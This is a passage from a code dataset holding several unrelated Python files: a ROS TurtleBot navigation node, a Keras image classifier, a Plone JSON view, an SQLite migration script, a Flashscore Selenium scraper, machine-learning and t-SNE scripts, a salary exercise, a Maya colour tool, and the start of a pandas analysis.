str(self.is_fully_mapped()))\n # save 2d msgdata to file\n np.savetxt('2d_msgdata.txt', self.occdata)\n for i in range(len(self.encoded_msgdata)):\n for j in range(len(self.encoded_msgdata[0])):\n if self.occdata[i][j] == occupied:\n node = [i, j]\n for k in range(-2, 2):\n for l in range(-2, 2):\n test_node = [i+k, j+l]\n if test_node != node and valid(test_node, self.encoded_msgdata):\n self.encoded_msgdata[test_node[0]][test_node[1]] = occupied\n np.savetxt('padded_msgdata.txt', self.encoded_msgdata)\n\n try:\n trans = self.tfBuffer.lookup_transform('map', 'base_link', rclpy.time.Time())\n except (LookupException, ConnectivityException, ExtrapolationException) as e:\n self.get_logger().info('No transformation found')\n return\n \n self.cur_pos = trans.transform.translation\n cur_rot = trans.transform.rotation\n\n self.map_res = msg.info.resolution\n map_origin = msg.info.origin.position\n\n cur_row, cur_pitch, cur_yaw = euler_from_quaternion(cur_rot.x, cur_rot.y, cur_rot.z, cur_rot.w)\n #self.get_logger().info('turtlebot current direction: %i degree' % math.degrees(cur_yaw))\n\n self.grid_y = round((self.cur_pos.x - map_origin.x) / self.map_res)\n self.grid_x = round(((self.cur_pos.y - map_origin.y) / self.map_res))\n #self.get_logger().info('turtlebot current position: (%i, %i)' % (self.grid_x, self.grid_y))\n\n self.occdata[self.grid_x][self.grid_y] = 4\n\n np.savetxt(mapfile, self.occdata)\n\n #path = bfs(self.occdata, [grid_x, grid_y], 1, 3)\n #for points in path:\n # self.occdata[int(points[0])][int(points[1])] = 5\n #np.savetxt('map_with_path.txt', self.occdata)\n #self.get_logger().info('path length: %i' % len(path))\n #self.get_logger().info('map size: %i x %i' % (len(self.occdata), len(self.occdata[0])))\n #self.get_logger().info('ending point: (%i, %i)' % (path[len(path)-1][0], path[len(path)-1][1]))\n #np.savetxt('path.txt', path)\n\n\n def scan_callback(self, msg):\n # self.get_logger().info('In scan_callback')\n # create numpy array\n self.laser_range = np.array(msg.ranges)\n # print to file\n # np.savetxt(scanfile, self.laser_range)\n # replace 0's with nan\n self.laser_range[self.laser_range==0] = np.nan\n \n\n #def is_fully_mapped(self):\n # #self.get_logger().info('in is_fully_mapped1')\n # row = len(self.occdata)\n # col = len(self.occdata[0])\n # #self.get_logger().info('in is_fully_mapped2')\n # # iterate over the whole occdata\n # for i in range(row):\n # #self.get_logger().info('in is_fully_mapped3')\n # for j in range(col):\n # #self.get_logger().info('in is_fully_mapped4')\n # if self.occdata[i][j] == 0:\n # # get neighbouring values\n # #self.get_logger().info('in is_fully_mapped5')\n # topleft = 0 if (i == 0 or j == 0) else self.occdata[i-1][j-1]\n # top = 0 if i == 0 else self.occdata[i-1][j]\n # topright = 0 if (i == 0 or j == col) else self.occdata[i-1][j+1]\n # left = 0 if j == 0 else self.occdata[i][j-1]\n # right = 0 if j == col else self.occdata[i][j+1]\n # bottomleft = 0 if (i == row or j == 0) else self.occdata[i+1][j-1]\n # bottom = 0 if i == row else self.occdata[i+1][j]\n # bottomright = 0 if (i == row or j == col) else self.occdata[i+1][j+1]\n # #self.get_logger().info('in is_fully_mapped6')\n # # check whether any one of the neighbouring values is -1\n # return topleft == -1 or top == -1 or topright == -1 or left == -1 or right == -1 or bottomleft == -1 or bottom == -1 or bottomright == -1\n\n\n # function to rotate the TurtleBot\n def rotatebot(self, rot_angle):\n # self.get_logger().info('In rotatebot')\n # create Twist object\n twist = Twist()\n \n # get current yaw angle\n current_yaw = self.yaw\n # log the info\n self.get_logger().info('Current: %f degree' % math.degrees(current_yaw))\n # we are going to use complex numbers to avoid problems when the angles go from\n # 360 to 0, or from -180 to 180\n c_yaw = complex(math.cos(current_yaw),math.sin(current_yaw))\n # calculate desired yaw\n target_yaw = current_yaw + math.radians(rot_angle)\n # convert to complex notation\n c_target_yaw = complex(math.cos(target_yaw),math.sin(target_yaw))\n self.get_logger().info('Desired: %f degree' % math.degrees(cmath.phase(c_target_yaw)))\n # divide the two complex numbers to get the change in direction\n c_change = c_target_yaw / c_yaw\n # get the sign of the imaginary component to figure out which way we have to turn\n c_change_dir = np.sign(c_change.imag)\n #self.get_logger().info('c_change_dir: %i' % c_change_dir)\n # set linear speed to zero so the TurtleBot rotates on the spot\n twist.linear.x = 0.0\n # set the direction to rotate\n twist.angular.z = c_change_dir * rotatechange\n # start rotation\n self.publisher_.publish(twist)\n\n # we will use the c_dir_diff variable to see if we can stop rotating\n c_dir_diff = c_change_dir\n # self.get_logger().info('c_change_dir: %f c_dir_diff: %f' % (c_change_dir, c_dir_diff))\n # if the rotation direction was 1.0, then we will want to stop when the c_dir_diff\n # becomes -1.0, and vice versa\n while(c_change_dir * c_dir_diff > 0):\n # allow the callback functions to run\n rclpy.spin_once(self)\n current_yaw = self.yaw\n # convert the current yaw to complex form\n c_yaw = complex(math.cos(current_yaw),math.sin(current_yaw))\n # self.get_logger().info('Current Yaw: %f' % math.degrees(current_yaw))\n # get difference in angle between current and target\n c_change = c_target_yaw / c_yaw\n # get the sign to see if we can stop\n c_dir_diff = np.sign(c_change.imag)\n # self.get_logger().info('c_change_dir: %f c_dir_diff: %f' % (c_change_dir, c_dir_diff))\n\n #self.get_logger().info('c_dir_diff: %i' % c_dir_diff)\n self.get_logger().info('End Yaw: %f degree' % math.degrees(current_yaw))\n # set the rotation speed to 0\n twist.angular.z = 0.0\n # stop the rotation\n self.publisher_.publish(twist)\n\n\n def pick_direction(self):\n self.get_logger().info('In pick_direction')\n if self.grid_x == -1 or self.grid_y == -1:\n if self.laser_range.size != 0:\n # use nanargmax as there are nan's in laser_range added to replace 0's\n lr2i = np.nanargmax(self.laser_range)\n self.get_logger().info('Picked direction: %d %f m' % (lr2i, self.laser_range[lr2i]))\n else:\n lr2i = 0\n self.get_logger().info('No data!')\n\n # rotate to that direction\n self.rotatebot(float(lr2i))\n\n # start moving\n self.get_logger().info('Start moving')\n twist = Twist()\n twist.linear.x = speedchange\n twist.angular.z = 0.0\n # not sure if this is really necessary, but things seem to work more\n # reliably with this\n time.sleep(1)\n self.publisher_.publish(twist)\n\n if self.grid_x != -1 and self.grid_y != -1:\n path = bfs(self.encoded_msgdata, [self.grid_x, self.grid_y], 1, 3)\n if len(path) == 0:\n self.get_logger().info('Fully mapped!')\n self.stopbot()\n short_path = shorter_path(path)\n\n for points in short_path:\n #self.encoded_msgdata[int(points[0])][int(points[1])] = 5\n self.encoded_msgdata[points[0]][points[1]] = 5\n np.savetxt('map_with_shorter_path.txt', self.encoded_msgdata)\n #self.get_logger().info('shorter path length: %i' % len(short_path))\n np.savetxt('shorter_path.txt', short_path)\n\n for points in path:\n #self.encoded_msgdata[int(points[0])][int(points[1])] = 5\n self.encoded_msgdata[points[0]][points[1]] = 5\n np.savetxt('map_with_path.txt', self.encoded_msgdata)\n #self.get_logger().info('path length: %i' % len(path))\n np.savetxt('path.txt', path)\n\n #self.get_logger().info('ending point: (%i, %i)' % (path[len(path)-1][0], path[len(path)-1][1]))\n #self.get_logger().info('map size: %i x %i' % (len(self.encoded_msgdata), len(self.encoded_msgdata[0])))\n \n curr_point = short_path[0]\n for point in short_path[1:]:\n angle = cal_angle(curr_point, point, math.degrees(self.yaw))\n #angle = cal_angle([curr_point[1], curr_point[0]], [point[1], point[0]], math.degrees(self.yaw))\n #angle = cal_angle(curr_point, point)\n #self.get_logger().info('start point: %i, %i' % (curr_point[0], curr_point[1]))\n #self.get_logger().info('end point: %i, %i' % (point[0], point[1]))\n self.get_logger().info('current direction: %i' % self.yaw)\n self.get_logger().info('rotation required: %i' % angle)\n print(self.yaw + angle)\n self.rotatebot(angle)\n self.get_logger().info('current direction: %i' % self.yaw)\n self.get_logger().info('Start moving')\n twist = Twist()\n twist.linear.x = speedchange\n twist.angular.z = 0.0\n time.sleep(1)\n self.publisher_.publish(twist)\n #time.sleep(self.map_res / speedchange)\n\n good_enuf_pos = []\n for i in range(-2, 3):\n for j in range(-2, 3):\n test_point = [point[0]+i, point[1]+j]\n #test_point = [point[1]+i, point[0]+j]\n if test_point != point and valid(test_point, self.encoded_msgdata):\n good_enuf_pos.append(test_point)\n np.savetxt('good_enuf_pos.txt', good_enuf_pos)\n\n #while self.cur_pos != point:\n #while [self.grid_x, self.grid_y] not in good_enuf_pos:\n # rclpy.spin_once(self)\n #self.get_logger().info('current position: %i, %i' % (self.grid_x, self.grid_y))\n #self.get_logger().info('desired position: %i, %i' % (point[0], point[1]))\n #self.get_logger().info('rotating')\n # continue\n\n distance_squared = (curr_point[0] - point[0]) ** 2 + (curr_point[1] - point[1]) ** 2 \n self.get_logger().info('distance: %i' % distance_squared)\n #self.get_logger().info('curr_distance: %f' % ((self.grid_x - curr_point[0]) ** 2 + (self.grid_y - curr_point[1]) ** 2))\n while ((self.grid_x - curr_point[0]) ** 2 + (self.grid_y - curr_point[1]) ** 2) < distance_squared:\n #self.get_logger().info('curr_distance: %f' % ((self.grid_x - curr_point[0]) ** 2 + (self.grid_y - curr_point[1]) ** 2))\n rclpy.spin_once(self)\n continue\n\n self.get_logger().info('out of loop coordinate: %i, %i' % (self.grid_x, self.grid_y))\n curr_point = [self.grid_x, self.grid_y]\n\n\n def stopbot(self):\n self.get_logger().info('In stopbot')\n # publish to cmd_vel to move TurtleBot\n twist = Twist()\n twist.linear.x = 0.0\n twist.angular.z = 0.0\n # time.sleep(1)\n self.publisher_.publish(twist)\n\n\n def mover(self):\n try:\n # initialize variable to write elapsed time to file\n # contourCheck = 1\n\n # find direction with the largest distance from the Lidar,\n # rotate to that direction, and start moving\n self.pick_direction()\n\n while rclpy.ok():\n if self.laser_range.size != 0:\n # check distances in front of TurtleBot and find values less\n # than stop_distance\n lri = (self.laser_range[front_angles]0):\n # stop moving\n self.stopbot()\n # find direction with the largest distance from the Lidar\n # rotate to that direction\n # start moving\n self.pick_direction()\n \n # allow the callback functions to run\n rclpy.spin_once(self)\n\n except Exception as e:\n print(e)\n \n # Ctrl-c detected\n finally:\n # stop moving\n self.stopbot()\n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n auto_nav = AutoNav()\n auto_nav.mover()\n\n # create matplotlib figure\n # plt.ion()\n # plt.show()\n\n # Destroy the node explicitly\n # (optional - otherwise it will be done automatically\n # when the garbage collector destroys the node object)\n auto_nav.destroy_node()\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Experimentations/exp_autonav5.py","file_name":"exp_autonav5.py","file_ext":"py","file_size_in_byte":26336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"440358174","text":"import sys, os\nimport calc\n\nimport keras\n\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import LearningRateScheduler\n\n\nlabel = ['airplane', 'mobile', 'bird', 'cat', 'deer',\n 'dog', 'frog', 'horse', 'ship', 'truck']\n \n \n\nnclass = 10\n\nx_train, y_train , x_test, y_test = calc.load_data2(nclass, label, plot_sample=True)\n\n\n\nxmodel_path = 'iclassifier_model2.h5'\nif( not os.path.exists(xmodel_path) ):\n xmodel = calc.CNN_model2()\n\n \n #data augmentation\n datagen = ImageDataGenerator(\n rotation_range=15,\n width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip=True,\n )\n datagen.fit(x_train)\n \n #training\n batch_size = 64\n\n # Make iterator\n # Takes data and label arrays, generates batches of augmented data.\n train_flow = datagen.flow(x_train, y_train, batch_size=64)\n \n # Fits the model on batches with real-time data augmentation:\n res = xmodel.fit_generator(train_flow,\n steps_per_epoch=x_train.shape[0] // batch_size,\n epochs=125,\n verbose=False,\n validation_data=(x_test,y_test),\n callbacks=[LearningRateScheduler(calc.get_learning_rate)])\n\n\n #save model\n model_json = xmodel.to_json()\n with open('iclassifier_model2.json', 'w') as json_file:\n json_file.write(model_json)\n xmodel.save_weights('iclassifier_model2.h5') \n\n # Summarize, plot learning curves\n calc.summarize2(res, save=True)\n\nelse:\n # load model\n xmodel = keras.models.load_model(xmodel_path)\n# End - if\n \n\n\n\n\n#testing\nscores = xmodel.evaluate( x_test, y_test, batch_size=128, verbose=False )\nprint('\\nAcc: %.3f loss: %.3f' % (scores[1]*100,scores[0]) )\n\n# Predict\nximg = calc.load_img('eg_pic.png')\nres = xmodel.predict_classes(ximg)\nprint( res[0] )\n\ncalc._show('eg_pic.png', res[0], label)","sub_path":"iclassifier_2.py","file_name":"iclassifier_2.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"606670798","text":"# -*- coding: utf-8 -*-\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.Five.browser import BrowserView\n\n# from zope.component import getSiteManager\n# from collective.taxonomy.interfaces import ITaxonomy\n# from zope.schema.interfaces import IVocabularyFactory\n# from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\n# from DateTime import DateTime\n# import calendar\n# from Products.CMFPlone.PloneBatch import Batch\n# from zope.i18nmessageid import MessageFactory\nfrom plone.memoize.view import memoize\n# from time import time\n# plonelocales = MessageFactory(\"plonelocales\")\n\n\n# from zope.interface import implements\n\n# from Products.CMFCore.interfaces import IFolderish\n\n# from collective.geo.mapwidget.browser.widget import MapLayers\n\n# from collective.geo.kml.browser.maplayers import KMLMapLayer\n# from collective.geo.kml.interfaces import IKMLOpenLayersView\n\nimport json\n\nclass tasksRoot(BrowserView):\n \"\"\" yyy \"\"\"\n\n @property\n def portal_catalog(self):\n return getToolByName(self.context, 'portal_catalog')\n\n def results(self, query=None, batch=True, b_size=6, b_start=0):\n if query is None:\n query = {}\n query['sort_on'] = 'effective'\n query['sort_order'] = 'descending'\n query['portal_type'] = 'task'\n results = self.portal_catalog(query)\n res = []\n for brain in results:\n res.append(self.unpack_item(brain))\n return res\n\n @memoize\n def unpack_item(self, brain):\n obj = brain.getObject()\n if obj.logo:\n tag = brain.getURL() + '/@@images/logo/mini'\n else:\n tag = u''\n address = obj.address\n parts = brain.Description.replace(\" \",\" \").split(\" \")\n description = parts[0]\n text = obj.more_info.output\n date = brain.ModificationDate\n status_id = obj.status_info\n return {\"id\":brain.UID,\n \"title\": brain.Title,\n \"description\": description,\n \"text\": text,\n \"date\": date,\n \"logo\": tag,\n \"address\": address,\n \"status_id\": status_id,\n \"url\": brain.getURL()\n }\n\nclass tasksJSON(tasksRoot):\n def __call__(self):\n \"\"\"\n \"\"\"\n pretty = json.dumps(self.results(batch=False))\n self.request.response.setHeader(\"Content-type\", \"application/json\")\n return pretty\n","sub_path":"childfriendly/theme/browser/tasks_view.py","file_name":"tasks_view.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"107379929","text":"# coding: utf-8\nimport sqlite3\nimport sys\nimport os\n\n\ndef get_item(conn, table_name):\n sql_select = \"\"\"\n SELECT\n *\n FROM\n {}\n \"\"\"\n sql_select = sql_select.format(table_name)\n cursor = conn.execute(sql_select)\n item_list = cursor.fetchall()\n return item_list\n\n\ndef create_table(conn, sql_create):\n conn.execute(sql_create)\n\n\ndef insert(conn, table_name, item_list):\n sql_insert = \"\"\"\n INSERT INTO\n {}\n VALUES\n {}\n \"\"\"\n for item in item_list:\n conn.execute(sql_insert.format(table_name, item))\n\n\ndef create_new_db(old_db_conn, new_db_conn):\n # 获取旧数据库的所有表和相应的创建语句\n table_dict = db_info(old_db_conn)\n for table_name, sql_create in table_dict.items():\n # 取出旧表数据\n item_list = get_item(old_db_conn, table_name)\n # 创建新表\n create_table(new_db_conn, sql_create)\n # 将数据插入新表\n insert(new_db_conn, table_name, item_list)\n\n\ndef db_info(conn):\n sql = \"\"\"\n SELECT\n *\n FROM\n sqlite_master\n WHERE\n type = 'table'\n \"\"\"\n cursor = conn.execute(sql)\n table_dict = {}\n for row in cursor:\n table_name = row[1]\n sql_create = row[-1]\n # 用 SQLAlchemy 的 db.model 类模型建出的数据库并无 'sqlite_sequence'表\n if table_name != 'sqlite_sequence':\n table_dict[table_name] = sql_create\n return table_dict\n\n\ndef print_help():\n print('Usage:')\n print('python3 migrate.py old_db new_db')\n\n\ndef main(argv):\n if len(argv) == 1:\n print_help()\n return None\n\n old_db_path = argv[1]\n new_db_path = argv[2]\n # 检查需要迁移的数据库是否存在\n if not os.path.exists(old_db_path):\n print('{} is not exists'.format(old_db_path))\n return None\n\n old_db_conn = sqlite3.connect(old_db_path)\n new_db_conn = sqlite3.connect(new_db_path)\n create_new_db(old_db_conn, new_db_conn)\n old_db_conn.close()\n new_db_conn.commit()\n new_db_conn.close()\n\n\nif __name__ == '__main__':\n main(sys.argv)","sub_path":"simple_blog/migrate.py","file_name":"migrate.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"604811304","text":"import selenium\nfrom selenium import webdriver\nfrom selenium.webdriver import Chrome\nfrom pyvirtualdisplay import Display\n\nfrom selenium.webdriver.common.keys import Keys\nimport csv\nimport time\nimport random\nimport json\n\n\ndef parse_page(htmlstring, driver, f):\n print(\"//--------Scrapy Start-------------//\")\n\n while True:\n try:\n moreBtn = driver.find_element_by_xpath(\"//a[contains(@class, 'event__more') and contains(@class, 'event__more--static')]\")\n except:\n break\n try:\n driver.execute_script(\"arguments[0].click();\", moreBtn)\n time.sleep(5)\n except:\n break\n \n current_year = driver.find_element_by_xpath(\"//div[contains(@class, 'teamHeader__text')]\").text\n\n Items = driver.find_elements_by_xpath(\"//div[contains(@class, 'event__match') and contains(@class, 'event__match--static') and contains(@class, 'event__match--twoLine')]\")\n\n eventTimes = driver.find_elements_by_xpath(\"//div[@class='event__time']\")\n\n hometeamNames = driver.find_elements_by_xpath(\"//div[contains(@class, 'event__participant') and contains(@class, 'event__participant--home')]\")\n\n awayteamNames = driver.find_elements_by_xpath(\"//div[contains(@class, 'event__participant') and contains(@class, 'event__participant--away')]\")\n\n homeScores = driver.find_elements_by_xpath(\"//div[contains(@class, 'event__score') and contains(@class, 'event__score--home')]\")\n\n awayScores = driver.find_elements_by_xpath(\"//div[contains(@class, 'event__score') and contains(@class, 'event__score--away')]\")\n\n counts = len(Items)\n count = 1\n\n for eventTime, hometeamName, awayteamName, homeScore, awayScore in zip(eventTimes, hometeamNames, awayteamNames, homeScores, awayScores):\n \n event_time = current_year + \".\" + eventTime.text\n home_name = hometeamName.text\n away_name = awayteamName.text\n home_score = homeScore.text\n away_score = awayScore.text\n google_matching = \"\"\n print(\"-----------------\", count, \"--\", counts)\n print(\"Event Time------------------------> : \", event_time)\n print(\"Home Name-------------------------> : \", home_name)\n print(\"Away Name-------------------------> : \", away_name)\n print(\"Home Score------------------------> : \", home_score)\n print(\"Away Score------------------------> : \", away_score)\n\n info = {\n \"event-time\": event_time,\n \"home-name\" : home_name,\n \"home-score\" : home_score,\n \"away-name\" : away_name,\n \"away-score\" : away_score,\n \"google-matching\" : google_matching,\n \"game-status\": \"\"\n }\n\n \n json.dump(info, f)\n if count != counts:\n f.write(',\\n')\n count += 1\n\n\n# set Server Python Selenium\n\ndisplay = Display(visible=0, size=(800, 600))\ndisplay.start()\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('--no-sandbox')\noptions.add_argument('--headless')\n\npath = \"/usr/local/bin/chromedriver\"\n\ndriver = webdriver.Chrome(executable_path=path, options=options)\ndriver.get(\"https://www.flashscore.com/american-football/usa/ncaa/results/\")\ntime.sleep(2)\n\nwith open(\"ncaa_flashscore.json\", \"w\", encoding='utf8') as f:\n f.write('[\\n')\n parse_page(driver.page_source, driver, f)\n f.write(']\\n')\n f.close()\n display.stop()\n driver.close()\n driver.quit()\n ","sub_path":"flashscoreScraping_server/ncaa_flashscore.py","file_name":"ncaa_flashscore.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"23334495","text":"\nimport Orange \n\nbase = Orange.data.Table('E:\\\\Udemy - Cursos\\\\MachineLearning\\\\Arquivos\\\\CreditData.csv')\nbase.domain\n\nbase_dividida = Orange.evaluation.testing.sample(base, n=0.25)\nbase_teste = base_dividida[0]\nbase_treinamento = base_dividida[1]\n\nlen(base_teste)\nlen(base_treinamento)\n\nclassificador = Orange.classification.MajorityLearner()\nresultado = Orange.evaluation.TestOnTestData(base_teste, base_treinamento, [classificador])\nprint(Orange.evaluation.CA(resultado))\n\nfrom collections import Counter\nprint(Counter(str(d.get_class()) for d in base_teste))\n\n\n\n","sub_path":"majority_classifier.py","file_name":"majority_classifier.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"595253776","text":"'''\nCreated on Aug 11, 2020\n\n@author: zli\n'''\n\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = '0'\nimport torch\nimport numpy as np\nimport torch.nn as nn\nfrom tqdm import tqdm\nfrom torchvision import transforms\nimport network\nfrom torch.optim import lr_scheduler\nfrom torch import optim\nfrom tsnecuda import TSNE\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport torch.utils.data as torch_u_data\ntorch.multiprocessing.set_sharing_strategy('file_system')\n\ndef compute_tsne(X, plot=True):\n tsne_model = TSNE(n_components=2, perplexity=40, learning_rate=100, verbose=10)\n tsne_Y = tsne_model.fit_transform(tsne_vectors)\n if plot:\n fig = plt.figure(figsize=(10, 10))\n ax = fig.gca()\n ax.scatter(tsne_Y[:, 1], tsne_Y[:, 0], c=tsne_labels, s=1, cmap='hsv')\n \nfrom datetime import date\nimport utils\nfrom dataset import OPENFusionStereoDataset, OPENFusionJointDataset\nbatch_size = 20\n\nimage_transform = transforms.Compose([transforms.Resize((224, 224)),\n transforms.ToTensor()])\n#image_transform = transforms.ToTensor()\nclass OPENFusionStereoDatasetPath(OPENFusionJointDataset):\n def __getitem__(self, index):\n return super().__getitem__(index) + (self.image_paths[index], )\n# dataset = OPENScanner3dDatasetPath('./datasets/OPEN', start_date=start_date, end_date=end_date, exclude_date=exclude_date,\n# transform=image_transform, exclude_cultivar=exclude_cultivar)\n#image_transform = transforms.Compose([transforms.ToTensor()])\n'''\ndataset = OPENFusionStereoDatasetPath('/media/zli/Seagate Backup Plus Drive/OPEN/ua-mac/Level_3/rgb_crop_resized', transform=image_transform)\n\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, \n shuffle=False, num_workers=4)\n'''\n\n'''\ntrain_dataset_1 = OPENFusionStereoDatasetPath('/media/zli/Seagate Backup Plus Drive/OPEN/ua-mac/Level_3/rgb_crop_resized_test', transform=image_transform)\ntrain_dataset_2 = OPENFusionStereoDatasetPath('/media/zli/Seagate Backup Plus Drive/OPEN/ua-mac/Level_3/thermal_crop_resized_test', transform=image_transform)\nlist_of_datasets = [train_dataset_1, train_dataset_2]\ndataloader = torch.utils.data.DataLoader(torch_u_data.ConcatDataset(list_of_datasets), batch_size=batch_size, \n shuffle=False, num_workers=4)\n '''\ntrain_dataset = OPENFusionStereoDatasetPath('/media/zli/Seagate Backup Plus Drive/OPEN/ua-mac/Level_3/joint_training_data_test', transform=image_transform)\n#fusion_dateset = TripletNearDateJointDataset(train_dataset, class_by='plot', date_by='scan_date', neighbor_distance=neighbor_distance, collate_fn=None)\ndataloader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True, num_workers=4)\n\nmodel_state_dict = torch.load('/media/zli/Seagate Backup Plus Drive/trained_models/pytorch-py3/checkpoints/NearDateJointTripletMarginLoss/20200915_221501874/epoch_11.pth')\nmodel = network.resnet_50_embedding()\n#model.load_state_dict(model_state_dict['model_state_dict'])\n\n# inference\nmodel.load_state_dict(model_state_dict['model_state_dict'])\nmodel.cuda()\nmodel.eval()\nvector_list = []\nlabel_list = []\nimage_path_list = []\nwith torch.no_grad():\n for data, target, image_path in tqdm(dataloader, total=len(dataloader)):\n data = data.cuda()\n vector_list.append(model(data))\n label_list.append(target)\n image_path_list.append(image_path)\nvectors = torch.cat(vector_list, 0)\nlabels = {}\nfor l in label_list:\n for key, val in l.items():\n if key not in labels:\n labels[key] = []\n labels[key].extend(val)\nimage_paths = np.concatenate(image_path_list)\n\nvectors = torch.cat(vector_list, 0)\n\nlabels = {}\nfor l in label_list:\n for key, val in l.items():\n if key not in labels:\n labels[key] = []\n labels[key].extend(val)\n \nimage_paths = np.concatenate(image_path_list)\n\nvectors = torch.cat(vector_list, 0).cpu().numpy()\nlabels = {}\nfor l in label_list:\n for key, val in l.items():\n if key not in labels:\n labels[key] = []\n labels[key].extend(val)\nimage_paths = np.concatenate(image_path_list)\n\ntask_name = 'NearDateJointTripletMarginLoss_resized300'\nload_result_ep = 11\ntorch.save({'vectors': vectors,\n 'labels': labels,\n 'image_paths': image_paths}, './results/{}_ep_{}.pth'.format(task_name, load_result_ep))\n\n\nresult_dict = torch.load('./results/{}_ep_{}.pth'.format(task_name, load_result_ep))\nvectors = result_dict['vectors']\nlabels = pd.DataFrame(result_dict['labels'])\nimage_paths = result_dict['image_paths']\n\ntsne_vectors = vectors\ntsne_labels = labels\n\ntsne_model = TSNE()\ntsne_Y = tsne_model.fit_transform(tsne_vectors)\n\nimage_paths_modified = ['./' + os.path.join(*i.split('/')[-3:]) for i in image_paths]\nimage_paths_modified[0]\n\nvis_df = pd.DataFrame(tsne_labels)\nvis_df['tsne_x'] = tsne_Y[:, 1]\nvis_df['tsne_y'] = tsne_Y[:, 0]\nvis_df['plot_id'] = vis_df['plot']\nvis_df['scan_date'] = vis_df['scan_date'].astype(int)\nvis_df['image_path'] = image_paths_modified\n\nvis_df.to_csv(f'./{task_name}_ep{load_result_ep}.csv')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"sensorFusion/trainModel/t-sne.py","file_name":"t-sne.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"270700735","text":"employ_dict = [{\"name\":\"ramesh\",\"age\":25, \"dept\":\"engineering\",\"designation\":\"DB Engineer\",\"salary\":30000},\n {\"name\":\"leena\",\"age\":23, \"dept\":\"engineering\",\"designation\":\"Architect\",\"salary\":80000},\n {\"name\":\"sherlock\",\"age\":30, \"dept\":\"sales\",\"designation\":\"Sales Officer\",\"salary\":60000},\n {\"name\":\"lestrade\",\"age\":40, \"dept\":\"sales\",\"designation\":\"VP\",\"salary\":100000},\n {\"name\":\"bean\",\"age\":35, \"dept\":\"support\",\"designation\":\"VP\",\"salary\":200000},\n {\"name\":\"stapleton\",\"age\":20, \"dept\":\"hr\",'designation':\"Intern\",\"salary\":5000}]\nfor x in employ_dict:\n if x['designation']!=\"Intern\":\n if x['designation']==\"VP\":\n x['salary']+=(25/100)*x['salary']\n elif x['dept']==\"engineering\":\n x['salary']+=(15/100)*x['salary']\n elif x['dept']==\"sales\":\n x['salary']+=(10/100)*x['salary']\n elif x['dept']==\"support\":\n x['salary']+=(12.5/100)*x['salary']\nfor x in employ_dict:\n print(x['name'],x['salary'])\n","sub_path":"file1.py","file_name":"file1.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"359220940","text":"import maya.cmds as cmds\n\ncolourPicker = 'colourPicker'\n\nif cmds.window( colourPicker, exists=True ):\n cmds.deleteUI( colourPicker )\n\ncolourPicker = cmds.window( title = 'Colour Picker Tool', widthHeight = (400, 125), s = False )\ncmds.columnLayout( adj = True )\ncmds.colorIndexSliderGrp( 'colour', label = 'Select Color', height = 30, min = True, max = 32, value = 7 )\n\ncmds.button( l = 'Left_Colour!', c = 'leftColour()' )\ncmds.button( l = 'Right_Colour!', c = 'rightColour()' )\ncmds.button( l = 'Mid_Colour!', c = 'midColour()' )\ncmds.button( l = 'OK!', c = 'commitColour()' )\ncmds.showWindow( colourPicker )\n \ndef leftColour():\n selObj = cmds.ls( sl = True )\n for each in selObj:\n item = cmds.listRelatives( each )\n cmds.setAttr( item[0] + '.overrideEnabled', 1 )\n cmds.setAttr( item[0] + '.overrideColor', 14 )\n \ndef rightColour():\n selObj = cmds.ls( sl = True )\n for each in selObj:\n item = cmds.listRelatives( each )\n cmds.setAttr( item[0] + '.overrideEnabled', 1 )\n cmds.setAttr( item[0] + '.overrideColor', 15 )\n \ndef midColour():\n selObj = cmds.ls( sl = True )\n for each in selObj:\n item = cmds.listRelatives( each )\n cmds.setAttr( item[0] + '.overrideEnabled', 1 )\n cmds.setAttr( item[0] + '.overrideColor', 13 )\n \ndef commitColour():\n selObj = cmds.ls( sl = True )\n for each in selObj:\n colour_item = cmds.colorIndexSliderGrp( 'colour', q = True, v = True )\n if colour_item <= 1:\n item = cmds.listRelatives( each )\n cmds.setAttr( item[0] + '.overrideEnabled', 1 )\n cmds.setAttr( item[0] + '.overrideColor', 3 )\n else: \n item = cmds.listRelatives( each )\n cmds.setAttr( item[0] + '.overrideEnabled', 1 )\n cmds.setAttr( item[0] + '.overrideColor', (colour_item - 1) )","sub_path":"colourPicker.py","file_name":"colourPicker.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"161093769","text":"# -*- encoding:utf-8 -*-\nimport json\nfrom collections import Counter\n\nfrom pandas import DataFrame, Series\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n__author__ = 'bida'\n\npath = 'C:\\\\Workspace\\\\usagov_bitly_data2013-05-17-1368828605.txt'\nrecords = [json.loads(line) for line in open(path, encoding='utf-8')]\ntime_zones = [rec['tz'] for rec in records if 'tz' in 